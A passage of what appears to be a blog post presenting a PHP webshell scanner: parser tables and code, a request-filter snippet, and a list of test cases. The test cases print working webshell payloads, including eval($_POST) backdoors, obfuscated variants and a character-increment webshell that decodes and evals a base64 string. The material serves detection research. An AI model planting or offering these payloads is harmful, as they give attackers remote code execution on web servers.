    5,    5,    5,    5,    5,    5,    5,    5,    5,    5,
    5,    5,    5,    5,    5,    5,    5,    5,    5,    5,
    5,    5,    5,    5,    5,    5,    5,    5,   35,   35,
    37,   36,   36,   29,   29,   39,   39,    6,    7,    7,
    7,   41,   41,   41,   42,   42,   45,   45,   43,   43,
    46,   46,   22,   22,   31,   31,   34,   34,   33,   33,
    47,   23,   23,   23,   23,   48,   48,   49,   49,   50,
    50,   20,   20,   16,   16,   51,   18,   18,   52,   17,
    17,   19,   19,   30,   30,   30,   40,   40,   54,   54,
    55,   55,   56,   56,   56,   56,   57,   57,   57,   58,
    58,   59,   59,   26,   26,   60,   60,   60,   27,   27,
    61,   61,   44,   44,   62,   62,   62,   62,   67,   67,
    68,   68,   69,   69,   69,   69,   70,   71,   71,   66,
    66,   63,   63,   65,   65,   73,   73,   72,   72,   72,
    72,   72,   72,   64,   64,   74,   74,   28,   28,   21,
    21,   24,   24,   24,   24,   24,   24,   24,   24,   24,
    24,   24,   24,   24,   24,   24,   24,   24,   24,   24,
    24,   24,   24,   24,   24,   24,   24,   24,   24,   24,
    24,   24,   24,   24,   24,   24,   24,   24,   24,   24,
    24,   24,   24,   24,   24,   24,   24,   24,   24,   24,
    24,   24,   24,   24,   24,   24,   24,   24,   24,   24,
    24,   24,   24,   24,   24,   24,   24,   24,   24,   24,
    24,   24,   24,   24,   24,   24,   24,   24,   24,   24,
    15,   15,   25,   25,   79,   79,   80,   80,   80,   75,
    82,   82,   86,   86,   87,   88,   88,   88,   88,   88,
    88,   92,   92,   38,   38,   38,   76,   76,   93,   93,
    89,   89,   94,   94,   94,   94,   94,   77,   77,   77,
    81,   81,   81,   85,   85,   99,   99,   99,   99,   99,
    99,   99,   99,   99,   99,   99,   99,   99,   99,   12,
    12,   12,   12,   12,   12,   78,   78,   78,   78,  100,
    100,  101,  101,  103,  103,  102,  102,  104,  104,   32,
    32,   32,   32,  106,  106,  105,  105,  105,  105,  105,
    107,  107,   91,   91,   95,   95,   90,   90,  108,  108,
    108,  108,   96,   96,   96,   96,   84,   84,   97,   97,
    97,   53,  109,  109,  110,  110,  110,   83,   83,  111,
    111,  112,  112,  112,  112,   98,   98,   98,   98,  113,
    113,  113,  113,  113,  113,  113,  114,  114,  114
    );

    protected static $yylen = array(
    1,    1,    2,    0,    1,    3,    1,    1,    1,    1,
    3,    5,    4,    3,    3,    3,    1,    1,    3,    2,
    4,    3,    1,    3,    2,    0,    1,    1,    1,    1,
    3,    5,    8,    3,    5,    9,    3,    2,    3,    2,
    3,    2,    3,    2,    3,    3,    3,    1,    2,    5,
    7,    9,    5,    1,    6,    3,    3,    2,    0,    2,
    8,    0,    4,    1,    3,    0,    1,    9,    7,    6,
    5,    1,    2,    2,    0,    2,    0,    2,    0,    2,
    1,    3,    1,    4,    1,    4,    1,    4,    1,    3,
    3,    3,    4,    4,    5,    0,    2,    4,    3,    1,
    1,    1,    4,    0,    2,    3,    0,    2,    4,    0,
    2,    0,    3,    1,    2,    1,    1,    0,    1,    3,
    3,    5,    0,    1,    1,    1,    2,    3,    3,    1,
    3,    1,    2,    3,    1,    1,    2,    4,    3,    1,
    1,    3,    2,    0,    3,    3,    8,    3,    1,    3,
    0,    2,    4,    5,    4,    4,    3,    1,    1,    1,
    3,    1,    1,    0,    1,    1,    2,    1,    1,    1,
    1,    1,    1,    1,    3,    1,    3,    3,    1,    0,
    1,    1,    3,    3,    4,    4,    1,    2,    3,    3,
    3,    3,    3,    3,    3,    3,    3,    3,    3,    2,
    2,    2,    2,    3,    3,    3,    3,    3,    3,    3,
    3,    3,    3,    3,    3,    3,    3,    3,    3,    2,
    2,    2,    2,    3,    3,    3,    3,    3,    3,    3,
    3,    3,    1,    3,    5,    4,    4,    4,    2,    2,
    2,    2,    2,    2,    2,    2,    2,    2,    2,    2,
    2,    2,    1,    1,    1,    3,    2,    1,    9,   10,
    3,    3,    2,    4,    4,    3,    4,    4,    4,    3,
    0,    4,    1,    3,    2,    2,    4,    6,    2,    2,
    4,    1,    1,    1,    2,    3,    1,    1,    1,    1,
    1,    1,    0,    3,    3,    4,    4,    0,    2,    1,
    0,    1,    1,    0,    1,    1,    1,    1,    1,    1,
    1,    1,    1,    1,    1,    1,    3,    2,    1,    1,
    3,    2,    2,    4,    3,    1,    3,    3,    3,    1,
    1,    0,    2,    0,    1,    3,    1,    3,    1,    1,
    1,    1,    1,    6,    4,    3,    4,    2,    4,    4,
    1,    3,    1,    2,    1,    1,    4,    1,    3,    6,
    4,    4,    4,    4,    1,    4,    0,    1,    1,    3,
    1,    4,    3,    1,    1,    1,    0,    0,    2,    3,
    1,    3,    1,    4,    2,    2,    2,    1,    2,    1,
    4,    3,    3,    3,    6,    3,    1,    1,    1
    );

    protected $yyval;
    protected $yyastk;
    protected $stackPos;
    protected $lexer;
    protected $errMsg;
    private $tokens;
    private $tokensSkip = array(T_WHITESPACE,T_COMMENT,T_DOC_COMMENT,T_ENCAPSED_AND_WHITESPACE);
    private $tokensVariable = array('{','}');

    /**
     * Creates a parser instance.
     *
     * @param PHPParser_Lexer $lexer A lexer
    */
    public function __construct(Pecker_Lexer $lexer) {
        $this->lexer = $lexer;
        $this->tokens = array();
    }

    /**
     * Parses PHP code into a node tree.
     *
     * @param string $code The source code to parse
     *
     * @return PHPParser_Node[] Array of statements
     */
    public function parse($code) {
        $bLexed = $this->lexer->startLexing($code);

        // We start off with no lookahead-token
        $tokenId = self::TOKEN_NONE;
        if (!$bLexed) {
            $this->errMsg = $this->lexer->getError();
            return false;
        }

        // The attributes for a node are taken from the first and last token of the node.
        // From the first token only the startAttributes are taken and from the last only
        // the endAttributes. Both are merged using the array union operator (+).
        $startAttributes = array('startLine' => 1);
        $endAttributes   = array();

        // In order to figure out the attributes for the starting token, we have to keep
        // them in a stack
        $attributeStack = array($startAttributes);

        // Start off in the initial state and keep a stack of previous states
        $state = 0;
        $stateStack = array($state);

        // AST stack (?)
        $this->yyastk = array();

        // Current position in the stack(s)
        $this->stackPos = 0;
        $this->tokens = $this->lexer->getTokens();
        for (;;) 
        {
            if (self::$yybase[$state] == 0) {
                $yyn = self::$yydefault[$state];
            } else {
                if ($tokenId === self::TOKEN_NONE) {
                    // Fetch the next token id from the lexer and fetch additional info by-ref.
                    // The end attributes are fetched into a temporary variable and only set once the token is really
                    // shifted (not during read). Otherwise you would sometimes get off-by-one errors, when a rule is
                    // reduced after a token was read but not yet shifted.
                    $origTokenId = $this->lexer->getNextToken($tokenValue, $startAttributes, $nextEndAttributes);

                    // map the lexer token id to the internally used token id's
                    $tokenId = $origTokenId >= 0 && $origTokenId < self::TOKEN_MAP_SIZE
                    ? self::$translate[$origTokenId]
                    : self::TOKEN_INVALID;

                    if ($tokenId === self::TOKEN_INVALID) {
                        $this->errMsg = sprintf('The lexer returned an invalid token (id=%d, value=%s)',$origTokenId, $tokenValue);
                        return false;
                    }

                    $attributeStack[$this->stackPos] = $startAttributes;
                }

                if ((($yyn = self::$yybase[$state] + $tokenId) >= 0
                && $yyn < self::YYLAST && self::$yycheck[$yyn] == $tokenId
                || ($state < self::YY2TBLSTATE
                && ($yyn = self::$yybase[$state + self::YYNLSTATES] + $tokenId) >= 0
                && $yyn < self::YYLAST
                && self::$yycheck[$yyn] == $tokenId))
                && ($yyn = self::$yyaction[$yyn]) != self::YYDEFAULT) {
                    /*
                     * >= YYNLSTATE: shift and reduce
                    * > 0: shift
                    * = 0: accept
                    * < 0: reduce
                    * = -YYUNEXPECTED: error
                    */
                    if ($yyn > 0) {
                        /* shift */
                        ++$this->stackPos;

                        $stateStack[$this->stackPos]     = $state = $yyn;
                        $this->yyastk[$this->stackPos]   = $tokenValue;
                        $attributeStack[$this->stackPos] = $startAttributes;
                        $endAttributes = $nextEndAttributes;
                        $tokenId = self::TOKEN_NONE;

                        if ($yyn < self::YYNLSTATES)
                            continue;

                        /* $yyn >= YYNLSTATES means shift-and-reduce */
                        $yyn -= self::YYNLSTATES;
                    } else {
                        $yyn = -$yyn;
                    }
                } else {
                    $yyn = self::$yydefault[$state];
                }
            }

            for (;;) {
                /* reduce/error */
                if ($yyn == 0) {
                    /* accept */
                    return true;
                } elseif ($yyn != self::YYUNEXPECTED) {
                    /* reduce
                     try {
                    $this->{'yyn' . $yyn}(
                    $attributeStack[$this->stackPos - self::$yylen[$yyn]]
                    + $endAttributes
                    );
                    } catch (PHPParser_Error $e) {
                    if (-1 === $e->getRawLine()) {
                    $e->setRawLine($startAttributes['startLine']);
                    }

                    throw $e;
                    }
                    */
                    /* Goto - shift nonterminal */
                    $this->stackPos -= self::$yylen[$yyn];
                    $yyn = self::$yylhs[$yyn];
                    if (($yyp = self::$yygbase[$yyn] + $stateStack[$this->stackPos]) >= 0
                    && $yyp < self::YYGLAST
                    && self::$yygcheck[$yyp] == $yyn) {
                        $state = self::$yygoto[$yyp];
                    } else {
                        $state = self::$yygdefault[$yyn];
                    }

                    ++$this->stackPos;

                    $stateStack[$this->stackPos]     = $state;
                    $this->yyastk[$this->stackPos]   = $this->yyval;
                    $attributeStack[$this->stackPos] = $startAttributes;
                } else {
                    /* error */
                    $expected = array();

                    $base = self::$yybase[$state];
                    for ($i = 0; $i < self::TOKEN_MAP_SIZE; ++$i) {
                        $n = $base + $i;
                        if ($n >= 0 && $n < self::YYLAST && self::$yycheck[$n] == $i
                        || $state < self::YY2TBLSTATE
                        && ($n = self::$yybase[$state + self::YYNLSTATES] + $i) >= 0
                        && $n < self::YYLAST && self::$yycheck[$n] == $i
                        ) {
                            if (self::$yyaction[$n] != self::YYUNEXPECTED) {
                                if (count($expected) == 4) {
                                    /* Too many expected tokens */
                                    $expected = array();
                                    break;
                                }
                                $expected[] = self::$terminals[$i];
                            }
                        }
                    }

                    $expectedString = '';
                    if ($expected) {
                        $expectedString = ', expecting ' . implode(' or ', $expected);
                    }

                    $this->errMsg = 'Syntax error, unexpected ' . self::$terminals[$tokenId] . $expectedString .' at line '.$startAttributes['startLine'];
                    return false;
                }

                if ($state < self::YYNLSTATES)
                    break;
                /* >= YYNLSTATES means shift-and-reduce */
                $yyn = $state - self::YYNLSTATES;
            }
        }
        return true;
    }

    /**
     * get next tokens after a variable,like curly syntax
     * @param int $k
     * @return array
     */
    public function getVariableToken($k)
    {
        $result = array();
        $res = '';
        $fun = '';
        for ($i=1;;$i++)
        {
            if (isset($this->tokens[$k+$i]))
            {
                if (is_array($this->tokens[$k+$i]))
                {
                    $fun .= $this->tokens[$k+$i][1];
                    continue;
                }
                else
                {
                    if (in_array($this->tokens[$k+$i],$this->tokensVariable))
                    {
                        $res = $this->tokens[$k+$i];
                        break;
                    }
                    $fun .= $this->tokens[$k+$i];
                }
            }
            else
            {
                break;
            }
        }
        $result['token'] = $res;
        $result['func'] = $fun;
        $result['key'] = $i-1;
        return $result;
    }

    /**
     * get next tokens of $k without WHITESPACE
     * @param int $k
     * @return string
     */
    public function getNextToken($k)
    {
        $res = '';
        for ($i=1;;$i++)
        {
            if (isset($this->tokens[$k+$i]))
            {
                if (is_array($this->tokens[$k+$i]))
                {
                    if (in_array($this->tokens[$k+$i][0],$this->tokensSkip))
                    {
                        continue;
                    }
                    else
                    {
                        $res = $this->tokens[$k+$i][1];
                        break;
                    }
                }
                else
                {
                    $res = $this->tokens[$k+$i];
                    break;
                }
            }
            else
            {
                break;
            }
        }
        return $res;
    }

    /**
     * get previou token of $k without WHITESPACE
     * @param int $k
     * @return string
     */
    public function getPreToken ($k)
    {
        $res = '';
        for ($i = 1; $k - $i >= 0; $i ++)
        {
            if (isset($this->tokens[$k - $i]))
            {
                if (is_array($this->tokens[$k - $i]))
                {
                    if (in_array($this->tokens[$k-$i][0],$this->tokensSkip))
                    {
                        continue;
                    } else
                    {
                        $res = $this->tokens[$k - $i][1];
                        break;
                    }
                } else
                {
                    $res = $this->tokens[$k - $i];
                    break;
                }
            } else
            {
                break;
            }
        }
        return $res;
    }

    /**
     * get a piece token of the token after $k,and end with ; OR T_CLOSE_TAG
     * @param int $k
     * @return string
     */
    public function getFilepathToken($k)
    {
        $str = '';
        for ($i = 1;; $i ++)
        {
            if (isset($this->tokens[$k + $i]))
            {
                if (is_array($this->tokens[$k + $i]))
                {
                    if ($this->tokens[$k + $i][0] == T_WHITESPACE)
                    {
                        continue;
                    } elseif($this->tokens[$k + $i][0] == T_CLOSE_TAG)
                    {
                        break;
                    }
                    else
                    {
                        $str .= trim(trim($this->tokens[$k + $i][1],'"'),'\'');
                    }
                } else
                {
                    if ($this->tokens[$k + $i] == ';' || ($this->tokens[$k + $i] == ')' && $this->getNextToken($k + $i) == ';') || ($this->tokens[$k + $i] == ')' && $this->getNextToken($k + $i) == '.'))
                    {
                        break;
                    }
                    elseif ($this->tokens[$k + $i] == '.')
                    {
                        $str = '';
                        continue;
                    }
                    $str .= $this->tokens[$k + $i];
                }
            } else
            {
                break;
            }
        }
        return $str;
    }

    /**
     * get all token from $k to END TOKEN. (T_CLOSE_TAG or ;)
     * @param int $k
     * @return string
     */
    public function getPieceTokenAll ($k)
    {
        $str = $str1 = '';
        $l = $r = 0;
        for ($i = 1;; $i ++)
        {
            if (isset($this->tokens[$k + $i]))
            {
                if (is_array($this->tokens[$k + $i]))
                {
                    if (in_array($this->tokens[$k + $i][0],array(T_CLOSE_TAG))|| ($l != 0 && $l == $r))
                    {
                        break;
                    }
                    if (!in_array($this->tokens[$k + $i][0],array(T_WHITESPACE,T_COMMENT,T_DOC_COMMENT,T_INLINE_HTML,T_ECHO,T_ENCAPSED_AND_WHITESPACE)))
                    {
                        $str1 .= $this->tokens[$k + $i][1];
                    }
                    $str .= $this->tokens[$k + $i][1];
                }
                else
                {
                    if ($this->tokens[$k + $i] == ';' || ($l != 0 && $l == $r))
                    {
                        break;
                    }
                    if ($this->tokens[$k + $i] == '(')
                    {
                        $l ++;
                    }
                    if ($this->tokens[$k + $i] == ')')
                    {
                        $r ++;
                    }
                    $str .= $this->tokens[$k + $i];
                    $str1 .= $this->tokens[$k + $i];
                }
            }
            else
            {
                break;
            }
        }
        return array('more'=>$str,'less'=>$str1);
    }

    /**
     * get all tokens
     * @return array
     */
    public function getTokens()
    {
        return $this->tokens;
    }

    /**
     * get error messages
     * @return string
     */
    public function getErrmsg()
    {
        return $this->errMsg;
    }
}

class Pecker_Loger
{
    protected $result;
    private $file;
    function __construct()
    {
        $this->result = array();
    }
    public function setFile($file)
    {
        $this->file = $file;
        $this->result[$this->file] = array('parser' => true,'message'=>'','function'=>array());
    }
    public function errorLog($msg)
    {
        $this->result[$this->file]['parser'] = false;
        $this->result[$this->file]['message'] = $msg;
    }

    public function catchLog($func, $line, array $code =array('more'=>'', 'less'=>''))
    {
        $this->result[$this->file]['parser'] = true;
        $this->result[$this->file]['function'][$func] = isset($this->result[$this->file]['function'][$func]) ? $this->result[$this->file]['function'][$func] : array();
        $this->result[$this->file]['function'][$func][] = array('line'=>$line,'codemore'=>$code['more'], 'codeless'=>$code['less']);
    }

    public function getReport()
    {
        return $this->result;
    }
}
?>

call

/* inject check */ 
require dirname(__FILE__) .'/PeckerScanner.lite.php';
$scaner = new Pecker_Scanner(); 
$scaner->scanFileContent($filename,$newvalue);
$result = $scaner->getReport();
if (!empty($result[$filename]['function'])) 
{
    die("Request Error!"); 
} 
/**/

0x4: 测试用例

1. @eval($_POST['op']): 成功
2. @eval(${"_P"."OST"}['op']): 成功
3. @eval($/*aaa*/{"_P"."OST"}['op']): 成功
4. ($_=@$_GET[2]).@$_($_GET[1]): 成功
5. 无字符型: 成功
/*
$_="";
$_[+$_]++;
$_=$_."";
$___=$_[+""];//A
$____=$___;
$____++;//B
$_____=$____;
$_____++;//C
$______=$_____;
$______++;//D
$_______=$______;
$_______++;//E
$________=$_______;
$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;//O
$_________=$________;
$_________++;$_________++;$_________++;$_________++;//S
$_=$____.$___.$_________.$_______.'6'.'4'.'_'.$______.$_______.$_____.$________.$______.$_______;
$________++;$________++;$________++;//R
$_____=$_________;
$_____++;//T
$__=$___.$_________.$_________.$_______.$________.$_____;
$__($_("ZXZhbCgkX1BPU1RbMV0p")); 
*/
6. $k = "{${phpinfo()}}": 成功
7. $a=$POST['a'];$b=$_POST['b'];$a($b): 变量动态执行

Relevant Link:

http://www.cnxct.com/pecker-scanner-beta-release-support-cloud-confirmation/

 

Copyright (c) 2015 LittleHann All rights reserved